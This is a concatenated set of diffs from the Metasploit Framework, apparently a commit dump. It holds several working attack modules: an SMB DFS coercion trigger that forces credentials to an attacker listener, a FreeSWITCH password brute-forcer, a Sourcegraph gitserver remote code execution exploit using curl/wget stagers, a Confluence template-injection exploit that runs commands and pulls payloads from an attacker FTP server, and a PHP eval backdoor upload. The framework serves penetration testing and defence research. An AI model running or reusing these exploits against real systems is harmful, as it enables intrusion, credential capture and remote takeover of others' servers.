OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
]
)
end
def connect_dfsnm
vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol')
netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true)
vprint_status('Binding to \\netdfs...')
netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm)
vprint_good('Bound to \\netdfs')
netdfs
end
def run_host(_ip)
begin
connect
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
begin
@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
rescue RubySMB::Error::RubySMBError => e
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
end
begin
dfsnm = connect_dfsnm
rescue RubySMB::Error::UnexpectedStatusCode => e
if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
end
fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
rescue RubySMB::Dcerpc::Error::FaultError => e
elog(e.message, error: e)
fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
end
begin
case datastore['METHOD']
when 'NetrDfsAddStdRoot'
dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart)
when 'NetrDfsRemoveStdRoot', 'Automatic'
# use this technique by default, it's the original and doesn't require a comment
dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share')
end
rescue RubySMB::Dcerpc::Error::DfsnmError => e
case e.status_code
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
# this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
when ::WindowsError::Win32::ERROR_BAD_NETPATH
# this should be the response even if LISTENER was inaccessible
print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
else
print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
end
end
end
end
+11 -2
View File
@@ -66,8 +66,17 @@ class MetasploitModule < Msf::Auxiliary
end
def run_host(_ip)
connect
smb_login
begin
connect
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
end
handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]
fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args
@@ -26,6 +26,7 @@ class MetasploitModule < Msf::Auxiliary
[
OptString.new('SHOST', [false, "Source IP Address"]),
OptString.new('SMAC', [false, "Source MAC Address"]),
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
])
deregister_options('SNAPLEN', 'FILTER')
@@ -74,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
end
end
etime = ::Time.now.to_f + (hosts.length * 0.05)
etime = ::Time.now.to_f + datastore['TIMEOUT']
while (::Time.now.to_f < etime)
while(reply = getreply())
@@ -0,0 +1,117 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/freeswitch_event_socket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FreeSWITCH Event Socket Login',
'Description' => %q{
This module tests FreeSWITCH Event Socket logins on a range of
machines and report successful attempts.
},
'Author' => [
'krastanoel'
],
'References' => [
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
],
'DefaultOptions' => { 'VERBOSE' => false },
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
Opt::RPORT(8021),
OptString.new('PASSWORD', [false, 'FreeSWITCH event socket default password', 'ClueCon']),
OptPath.new('PASS_FILE',
[
false,
'The file that contains a list of of probable passwords.',
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')
])
]
)
# freeswitch does not have an username, there's only password
deregister_options(
'DB_ALL_CREDS', 'DB_ALL_USERS', 'DB_SKIP_EXISTING', 'BLANK_PASSWORDS',
'USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE',
'PASSWORD_SPRAY', 'STOP_ON_SUCCESS'
)
end
def run_host(ip)
cred_collection = Metasploit::Framework::PrivateCredentialCollection.new(
password: datastore['PASSWORD'],
pass_file: datastore['PASS_FILE']
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::FreeswitchEventSocket.new(
host: ip,
port: rport,
cred_details: cred_collection,
stop_on_success: true, # this will have no effect due to the scanner behaviour when scanning without username
connection_timeout: 10
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_data.delete(:username) # This service uses no username
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
if datastore['VERBOSE']
vprint_good("Login Successful: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
else
print_good("Login Successful: #{result.credential.private}")
end
else
invalidate_login(credential_data)
vprint_error("LOGIN FAILED: #{result.credential.private} (#{result.status}: #{result.proof&.strip})")
end
end
end
def check_host(_ip)
connect
banner = sock.get
disconnect(sock)
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
return Exploit::CheckCode::Safe('Access denied by network ACL')
end
unless banner.include?('Content-Type: auth/request')
return Exploit::CheckCode::Unknown('Unable to determine the service fingerprint')
end
return Exploit::CheckCode::Appears
end
end
@@ -0,0 +1,170 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sourcegraph gitserver sshCommand RCE',
'Description' => %q{
A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute
arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can
then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a
feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the
commands that are able to be executed through the git exec REST API.
},
'Author' => [
'Altelus1', # github PoC
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2022-23642'],
['URL', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9'],
['URL', 'https://github.com/Altelus1/CVE-2022-23642'],
],
'DisclosureDate' => '2022-02-18', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
},
],
[
'Linux Dropper',
{
'Platform' => 'linux',
# when the OS command is executed, it's executed twice which will cause some of the command stagers to
# be corrupt, these two work even for larger payloads because they're downloaded in a single command
'CmdStagerFlavor' => %w[curl wget],
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
},
]
],
'DefaultOptions' => {
'RPORT' => 3178
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('EXISTING_REPO', [false, 'An existing, cloned repository'])
])
end
def check
res = send_request_exec(Rex::Text.rand_text_alphanumeric(4..11), ['config', '--default', '', 'core.sshCommand'])
return CheckCode::Unknown unless res
if res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
# this is the response if the target repo does exist, highly unlikely since it's randomized
return CheckCode::Vulnerable('Successfully set core.sshCommand.')
elsif res.code == 404 && res.body =~ /"cloneInProgress"/
# this is the response if the target repo does not exist
return CheckCode::Vulnerable
elsif res.code == 400 && res.body =~ /^invalid command/
# this is the response when the server is patched, regardless of if there are cloned repos
return CheckCode::Safe
end
CheckCode::Unknown
end
def exploit
if datastore['EXISTING_REPO'].blank?
@git_repo = send_request_list.sample
fail_with(Failure::NotFound, 'Did not identify any cloned repositories on the remote server.') unless @git_repo
print_status("Using automatically identified repository: #{@git_repo}")
else
@git_repo = datastore['EXISTING_REPO']
end
print_status("Executing #{target.name} target")
@git_origin = Rex::Text.rand_text_alphanumeric(4..11)
git_remote = "git@#{Rex::Text.rand_text_alphanumeric(4..11)}:#{Rex::Text.rand_text_alphanumeric(4..11)}.git"
vprint_status("Using #{@git_origin} as a fake git origin")
send_request_exec(@git_repo, ['remote', 'add', @git_origin, git_remote])
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
def cleanup
return unless @git_repo && @git_origin
vprint_status('Cleaning up the git changes...')
# delete the remote that was created
send_request_exec(@git_repo, ['remote', 'remove', @git_origin])
# unset the core.sshCommand value
send_request_exec(@git_repo, ['config', '--unset', 'core.sshCommand'])
ensure
super
end
def send_request_exec(repo, args, timeout = 20)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'exec'),
'method' => 'POST',
'data' => {
'Repo' => repo,
'Args' => args
}.to_json
}, timeout)
end
def send_request_list
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'list'),
'method' => 'GET',
'vars_get' => { 'cloned' => 'true' }
})
fail_with(Failure::Unreachable, 'No server response.') unless res
fail_with(Failure::UnexpectedReply, 'The gitserver list API call failed.') unless res.code == 200 && res.get_json_document.is_a?(Array)
res.get_json_document
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_exec(@git_repo, ['config', 'core.sshCommand', cmd])
fail_with(Failure::Unreachable, 'No server response.') unless res
unless res.code == 200 && res.body =~ /^X-Exec-Exit-Status: 0/
if res.code == 404 && res.get_json_document.is_a?(Hash) && res.get_json_document['cloneInProgress'] == false
fail_with(Failure::BadConfig, 'The specified repository has not been cloned.')
end
fail_with(Failure::UnexpectedReply, 'The gitserver exec API call failed.')
end
send_request_exec(@git_repo, ['push', @git_origin, 'master'], 5)
end
end
@@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
[ 'CVE', '2014-4880' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices--multiple-vulnerabilities' ]
[ 'URL', 'https://www.rapid7.com/blog/post/2014/11/19/r7-2014-18-hikvision-dvr-devices-multiple-vulnerabilities' ]
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
@@ -11,76 +11,83 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::FtpServer
def initialize(info={})
super(update_info(info,
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
'Description' => %q{
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that
allows embed online videos, slideshows, photostreams and more directly into page.
A _template parameter can be used to inject remote Java code into a Velocity template,
and gain code execution. Authentication is unrequired to exploit this vulnerability.
By default, Java payload will be used because it is cross-platform, but you can also
specify which native payload you want (Linux or Windows).
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.
This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
This vulnerability was originally discovered by Daniil Dmitriev
https://twitter.com/ddv_ua.
},
'License' => MSF_LICENSE,
'Author' => [
'Daniil Dmitriev', # Discovering vulnerability
'Dmitry (rrock) Shchannikov' # Metasploit module
],
'References' =>
[
'References' => [
[ 'CVE', '2019-3396' ],
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],
[ 'URL', 'https://paper.seebug.org/886/']
],
'Targets' =>
[
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
'Targets' => [
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]
],
'DefaultOptions' =>
{
'DefaultOptions' => {
'RPORT' => 8090,
'SRVPORT' => 8021,
'SRVPORT' => 8021
},
'Privileged' => false,
'DisclosureDate' => '2019-03-25',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive
))
'Privileged' => false,
'DisclosureDate' => '2019-03-25',
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptAddress.new('SRVHOST', [true, 'Callback address for template loading']),
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=kxopViU98Xo'])
])
OptString.new('TRIGGERURL', [
true, 'Url to external video service to trigger vulnerability',
'https://www.youtube.com/watch?v=kxopViU98Xo'
])
]
)
end
# Handles ftp RETP command.
#
# @param c [Socket] Control connection socket.
# @param ccs [Socket] Control connection socket.
# @param arg [String] RETR argument.
# @return [void]
def on_client_command_retr(c, arg)
def on_client_command_retr(ccs, arg)
vprint_status("FTP download request for #{arg}")
conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
conn = establish_data_connection(ccs)
if !conn
ccs.put("425 Can't build data connection\r\n")
return
end
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
ccs.put("150 Opening BINARY mode data connection for #{arg}\r\n")
case arg
when /check\.vm$/
conn.put(wrap(get_check_vm))
@@ -93,83 +100,73 @@ class MetasploitModule < Msf::Exploit::Remote
else
conn.put(wrap(get_dummy_vm))
end
c.put("226 Transfer complete.\r\n")
ccs.put("226 Transfer complete.\r\n")
conn.close
end
# Handles ftp PASS command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param ccs [Socket] Control connection socket.
# @param arg [String] PASS argument.
# @return [void]
def on_client_command_pass(c, arg)
@state[c][:pass] = arg
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")
c.put "230 Login OK\r\n"
def on_client_command_pass(ccs, arg)
@state[ccs][:pass] = arg
vprint_status("#{@state[ccs][:name]} LOGIN #{@state[ccs][:user]} / #{@state[ccs][:pass]}")
ccs.put "230 Login OK\r\n"
end
# Handles ftp EPSV command to suppress output.
#
# @param c [Socket] Control connection socket.
# @param ccs [Socket] Control connection socket.
# @param arg [String] EPSV argument.
# @return [void]
def on_client_command_epsv(c, arg)
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")
c.put("500 'EPSV #{arg}': command not understood.\r\n")
def on_client_command_epsv(ccs, arg)
vprint_status("#{@state[ccs][:name]} UNKNOWN 'EPSV #{arg}'")
ccs.put("500 'EPSV #{arg}': command not understood.\r\n")
end
# Returns a upload template.
#
# @return [String]
def get_upload_vm
(
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
)
<<~EOF
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))
EOF
end
# Returns a command execution template.
#
# @return [String]
def get_exec_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
)
<<~EOF
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()
EOF
end
# Returns checking template.
#
# @return [String]
def get_check_vm
(
<<~EOF
#{@check_text}
EOF
)
<<~EOF
#{@check_text}
EOF
end
# Returns Java's getting property template.
#
# @return [String]
def get_javaprop_vm
(
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
)
<<~EOF
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()
EOF
end
# Returns dummy template.
#
# @return [String]
def get_dummy_vm
(
<<~EOF
EOF
)
<<~EOF
EOF
end
# Checks the vulnerability.
@@ -179,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote
checkcode = Exploit::CheckCode::Safe
begin
# Start the FTP service
print_status("Starting the FTP server.")
print_status('Starting the FTP server.')
start_service
@check_text = Rex::Text.rand_text_alpha(5..10)
@@ -198,9 +195,8 @@ class MetasploitModule < Msf::Exploit::Remote
#
# @param service_url [String] Address of template to injection.
# @return [void]
def inject_template(service_url, timeout=20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
def inject_template(service_url, timeout = 20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
res = send_request_cgi({
'method' => 'POST',
@@ -209,23 +205,23 @@ class MetasploitModule < Msf::Exploit::Remote
'Accept' => '*/*',
'Origin' => full_uri(vhost_uri: true)
},
'ctype' => 'application/json; charset=UTF-8',
'data' => {
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
'url' => datastore['TRIGGERURL'],
'_template' => service_url
}
'ctype' => 'application/json; charset=UTF-8',
'data' => {
'contentId' => '1',
'macro' => {
'name' => 'widget',
'body' => '',
'params' => {
'url' => datastore['TRIGGERURL'],
'_template' => service_url
}
}
}.to_json
}, timeout=timeout)
}
}.to_json
}, timeout)
unless res
unless service_url.include?("exec.vm")
unless service_url.include?('exec.vm')
print_warning('Connection timed out in #inject_template')
end
return
@@ -234,7 +230,7 @@ class MetasploitModule < Msf::Exploit::Remote
if res.body.include? 'widget-error'
print_error('Failed to inject and execute code:')
else
vprint_status("Server response:")
vprint_status('Server response:')
end
vprint_line(res.body)
@@ -245,14 +241,23 @@ class MetasploitModule < Msf::Exploit::Remote
# Returns a system property for Java.
#
# @param prop [String] Name of the property to retrieve.
# @return [String]
# @return [Array] Array consisting of a result code (Integer) and, if the property could be obtained, the property (String).
def get_java_property(prop)
@prop = prop
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
if res && res.body
return clear_response(res.body)
if res.body.empty?
return [2]
else
prop_to_return = clear_response(res.body)
if prop_to_return.blank?
return [2]
else
return [0, prop_to_return]
end
end
end
''
[1]
end
# Returns the target platform.
@@ -299,7 +304,7 @@ class MetasploitModule < Msf::Exploit::Remote
# @param new_fname [String] The new file
# @return [void]
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
if fname =~ %r{^/[[:print:]]+}
@command = "cp #{fname} #{new_fname}"
else
@command = "cmd.exe /C copy #{fname} #{new_fname}"
@@ -312,8 +317,8 @@ class MetasploitModule < Msf::Exploit::Remote
#
# @return [String]
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
if tmp_path =~ %r{^/[[:print:]]+}
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
@@ -324,57 +329,55 @@ class MetasploitModule < Msf::Exploit::Remote
#
# @return [void]
def exploit_as_java
res_code, tmp_path = get_tmp_path
tmp_path = get_tmp_path
if tmp_path.blank?
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
@b64 = Rex::Text.encode_base64(payload.encoded_jar)
@command = ''
java_home = get_java_home_path
res_code, java_home = get_java_home_path
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
if res_code == 0
vprint_status("Found Java home path: #{java_home}")
else
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
end
register_files_for_cleanup(@fname)
if /^\/[[:print:]]+/ === @fname
if @fname =~ %r{^/[[:print:]]+}
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')
@command = %Q|#{normalized_java_path} -jar #{@fname}|
@command = %(#{normalized_java_path} -jar #{@fname})
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')
@fname.gsub!(/Program Files/, 'PROGRA~1')
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|
@command = %(cmd.exe /C "#{normalized_java_path}" -jar #{@fname})
end
print_status("Attempting to upload #{@fname}")
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}upload.vm")
print_status("Attempting to execute #{@fname}")
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
end
# Exploits the target in Windows platform.
#
# @return [void]
def exploit_as_windows
tmp_path = get_tmp_path
res_code, tmp_path = get_tmp_path
if tmp_path.blank?
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
new_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.exe")
@fname.gsub!(/Program Files/, 'PROGRA~1')
new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(@fname, new_fname)
@@ -387,22 +390,21 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
end
# Exploits the target in Linux platform.
#
# @return [void]
def exploit_as_linux
tmp_path = get_tmp_path
res_code, tmp_path = get_tmp_path
if tmp_path.blank?
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(@fname, new_fname)
@@ -417,21 +419,24 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Attempting to execute #{new_fname}")
@command = new_fname
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)
inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}exec.vm", 5)
end
def exploit
@wrap_marker = Rex::Text.rand_text_alpha(5..10)
# Start the FTP service
print_status("Starting the FTP server.")
print_status('Starting the FTP server.')
start_service
target_platform = get_target_platform
if target_platform.empty?
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
else
res_code, target_platform = get_target_platform
case res_code
when 0
print_status("Target being detected as: #{target_platform}")
when 1
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')
when 2
fail_with(Failure::NoTarget, 'Failed to obtain the target OS.')
end
unless target_platform_compat?(target_platform)
@@ -457,10 +462,8 @@ class MetasploitModule < Msf::Exploit::Remote
# Returns unwrapped response.
#
# @return [String]
# @return [String, nil]
def clear_response(string)
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)
return match.captures[0]
end
string.scan(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)&.flatten&.first
end
end
@@ -60,7 +60,10 @@ class MetasploitModule < Msf::Exploit::Remote
])
register_advanced_options(
[
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]),
OptString.new('NameField', [true, 'Name of the element for the Name field', 'name'], regex: /^([^\t\n\f \/>"'=]+)$/),
OptString.new('EmailField', [true, 'Name of the element for the Email field', 'email'], regex: /^([^\t\n\f \/>"'=]+)$/),
OptString.new('MessageField', [true, 'Name of the element for the Message field', 'message'], regex: /^([^\t\n\f \/>"'=]+)$/)
])
end
@@ -98,6 +101,9 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
name_field = datastore['NameField']
email_field = datastore['EmailField']
message_field = datastore['MessageField']
payload_file_name = "#{rand_text_alphanumeric(8)}.php"
payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
@@ -111,9 +117,9 @@ class MetasploitModule < Msf::Exploit::Remote
data = Rex::MIME::Message.new
data.add_part('submit', nil, nil, 'form-data; name="action"')
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
data.add_part(email, nil, nil, 'form-data; name="email"')
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, "form-data; name='#{name_field}'")
data.add_part(email, nil, nil, "form-data; name='#{email_field}'")
data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, "form-data; name='#{message_field}'")
print_status("Writing the backdoor to #{payload_file_path}")
res = send_request_cgi(
@@ -91,7 +91,8 @@ class MetasploitModule < Msf::Exploit::Remote
def windows_stager
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
@@ -106,7 +106,8 @@ class MetasploitModule < Msf::Exploit::Remote
exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.' })
tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
execute_cmdstager({ temp: '.', tftphost: tftphost })
@payload_exe = generate_payload_exe
print_status("Attempting to execute the payload...")
@@ -0,0 +1,125 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization
prepend Msf::Exploit::Remote::AutoCheck
